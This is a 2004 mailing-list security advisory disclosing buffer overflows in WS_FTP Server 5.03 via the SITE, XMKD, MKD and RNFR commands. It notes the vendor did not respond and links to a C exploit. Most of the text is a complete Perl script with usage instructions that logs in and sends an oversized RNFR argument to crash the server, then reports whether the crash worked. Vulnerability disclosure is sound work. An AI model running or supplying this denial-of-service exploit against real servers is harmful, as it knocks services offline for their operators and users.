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Multiple buffer overlows in WS_FTP Server Version 5.03, 2004.10.14.

daemon@ATHENA.MIT.EDU (Reed Arvin)
Mon Nov 29 20:11:54 2004

Date: 29 Nov 2004 23:37:21 -0000
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From: Reed Arvin <reedarvin@gmail.com>
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Summary:
Multiple buffer overflows exists in WS_FTP Server Version 5.03, 2004.10.14 (http://www.ipswitch.com/).

Details:
Multiple buffer overflows exist in WS_FTP Server Version 5.03, 2004.10.14. There are four vulnerable commands that can be used to cause these buffer overflows. Three of the vulnerable commands can be used to stop the WS_FTP Server service resulting in a denial of service. The vulnerable commands are SITE, XMKD, MKD, and RNFR.

Vulnerable Versions:
WS_FTP Server Version 5.03, 2004.10.14

Solutions:
The vendor was notified of the issue. There was no response.

Exploit:
http://noph0bia.lostspirits.org/Exploits/IPSWSFTP-exploit.c (Thanks to NoPh0bia noph0bia[at]lostspirits[dot]org)

#===== Start WS_FTP_Overflow.pl =====
#
# Usage: WS_FTP_Overflow.pl <ip> <ftp user> <ftp pass>
#        WS_FTP_Overflow.pl 127.0.0.1 hello moto
#
# WS_FTP Server Version 5.03, 2004.10.14
#
# Download:
# http://www.ipswitch.com/
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
				    PeerPort => "21",
				    Proto    => "TCP"))
{
	print "Attempting to kill WS_FTP Server service at $ARGV[0]:21...";

	sleep(1);

	print $socket "USER $ARGV[1]\r\n";

	sleep(1);

	print $socket "PASS $ARGV[2]\r\n";

	sleep(1);

	print $socket "PORT 127,0,0,1,18,12\r\n";

	sleep(1);

	print $socket "RNFR " . "A" x 768 . "\r\n";

	close($socket);

	sleep(1);

	if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
					    PeerPort => "21",
					    Proto    => "TCP"))
	{
		close($socket);

		print "failed!\n";
	}
	else
	{
		print "successful!\n";
	}
}
else
{
	print "Cannot connect to $ARGV[0]:21\n";
}
#===== End WS_FTP_Overflow.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
Exploit assistance from NoPh0bia noph0bia[at]lostspirits[dot]org

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